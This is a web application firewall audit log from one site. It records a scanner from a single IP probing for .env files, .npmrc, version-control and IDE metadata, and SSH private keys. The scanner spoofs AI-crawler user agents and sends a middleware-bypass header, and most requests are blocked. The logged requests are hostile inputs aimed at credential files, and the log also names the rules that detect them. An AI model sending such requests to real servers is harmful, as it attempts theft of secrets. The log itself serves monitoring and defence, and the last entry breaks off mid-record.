Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/config/.env"] [unique_id "aqZoOGM7dE9KgIIOpQhz3gAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552484256 280812 (- - -)
Stopwatch2: 1789290552484256 280812; combined=4739, p1=253, p2=4428, p3=0, p4=0, p5=58, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d276c238-Z--

--57343e60-A--
[13/Sep/2026:12:09:13.132255 +0300] aqZoOWM7dE9KgIIOpQhz5QAAANI 34.73.246.242 37354 127.0.0.1 7081
--57343e60-B--
GET /.github/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--57343e60-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--57343e60-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.github/.env"] [unique_id "aqZoOWM7dE9KgIIOpQhz5QAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290553066076 66241 (- - -)
Stopwatch2: 1789290553066076 66241; combined=4993, p1=222, p2=4720, p3=0, p4=0, p5=51, sr=77, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--57343e60-Z--

--fb9f1450-A--
[13/Sep/2026:12:09:13.265807 +0300] aqZoOUwu1RSkptiiNIX4BQAAAJQ 34.73.246.242 37382 127.0.0.1 7081
--fb9f1450-B--
GET /.npmrc HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--fb9f1450-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fb9f1450-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.npmrc"] [unique_id "aqZoOUwu1RSkptiiNIX4BQAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.npmrc"] [unique_id "aqZoOUwu1RSkptiiNIX4BQAAAJQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553209154 56710 (- - -)
Stopwatch2: 1789290553209154 56710; combined=55335, p1=211, p2=54784, p3=0, p4=0, p5=339, sr=78, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fb9f1450-Z--

--198db442-A--
[13/Sep/2026:12:09:13.418999 +0300] aqZoOWM7dE9KgIIOpQhz6gAAANE 34.73.246.242 37416 127.0.0.1 7081
--198db442-B--
GET /.svn/entries HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--198db442-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--198db442-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.svn/entries"] [unique_id "aqZoOWM7dE9KgIIOpQhz6gAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.svn/entries"] [unique_id "aqZoOWM7dE9KgIIOpQhz6gAAANE"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553360025 59037 (- - -)
Stopwatch2: 1789290553360025 59037; combined=57644, p1=247, p2=56940, p3=0, p4=0, p5=457, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--198db442-Z--

--2dcf6749-A--
[13/Sep/2026:12:09:13.754674 +0300] aqZoOUwu1RSkptiiNIX4BwAAAJY 34.73.246.242 37494 127.0.0.1 7081
--2dcf6749-B--
GET /.idea/WebServers.xml HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2dcf6749-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2dcf6749-H--
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqZoOUwu1RSkptiiNIX4BwAAAJY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqZoOUwu1RSkptiiNIX4BwAAAJY"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553691652 63087 (- - -)
Stopwatch2: 1789290553691652 63087; combined=61081, p1=356, p2=60307, p3=0, p4=0, p5=417, sr=150, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2dcf6749-Z--

--0af6f860-A--
[13/Sep/2026:12:09:13.881955 +0300] aqZoOWM7dE9KgIIOpQhz8AAAAMA 34.73.246.242 37506 127.0.0.1 7081
--0af6f860-B--
GET /.ssh/id_rsa HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0af6f860-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0af6f860-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_rsa"] [unique_id "aqZoOWM7dE9KgIIOpQhz8AAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_rsa"] [unique_id "aqZoOWM7dE9KgIIOpQhz8AAAAMA"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553823936 58080 (- - -)
Stopwatch2: 1789290553823936 58080; combined=55735, p1=457, p2=54947, p3=0, p4=0, p5=331, sr=185, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0af6f860-Z--

--51ca4226-A--
[13/Sep/2026:12:09:13.952153 +0300] aqZoOUwu1RSkptiiNIX4CAAAAIE 34.73.246.242 37508 127.0.0.1 7081
--51ca4226-B--
GET /.ssh/id_ed25519 HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--51ca4226-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--51ca4226-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqZoOUwu1RSkptiiNIX4CAAAAIE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqZoOUwu1RSkptiiNIX4CAAAAIE"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553893159 59042 (- - -)
Stopwatch2: 1789290553893159 59042; combined=57731, p1=249, p2=57221, p3=0, p4=0, p5=261, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--51ca4226-Z--

--7891c96a-A--
[13/Sep/2026:12:09:14.009262 +0300] aqZoOTTJ6xTvcJoem7f6ZwAAAEM 34.73.246.242 37524 127.0.0.1 7081
--7891c96a-B--
GET /.ssh/id_ecdsa HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7891c96a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7891c96a-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqZoOTTJ6xTvcJoem7f6ZwAAAEM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqZoOTTJ6xTvcJoem7f6ZwAAAEM"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553952677 56650 (- - -)
Stopwatch2: 1789290553952677 56650; combined=55232, p1=254, p2=54580, p3=0, p4=0, p5=397, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7891c96a-Z--

--c200c21e-A--
[13/Sep/2026:12:09:14.013380 +0300] aqZoOTTJ6xTvcJoem7f6aAAAAEw 34.73.246.242 37528 127.0.0.1 7081
--c200c21e-B--
GET /.ssh/id_dsa HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c200c21e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c200c21e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_dsa"] [unique_id "aqZoOTTJ6xTvcJoem7f6aAAAAEw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_dsa"] [unique_id "aqZoOTTJ6xTvcJoem7f6aAAAAEw"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553957536 55918 (- - -)
Stopwatch2: 1789290553957536 55918; combined=54455, p1=252, p2=53851, p3=0, p4=0, p5=351, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c200c21e-Z--

--ae625649-A--
[13/Sep/2026:12:09:14.032733 +0300] aqZoOWM7dE9KgIIOpQhz8QAAANA 34.73.246.242 37544 127.0.0.1 7081
--ae625649-B--
GET /.ssh/authorized_keys HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ae625649-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ae625649-H--
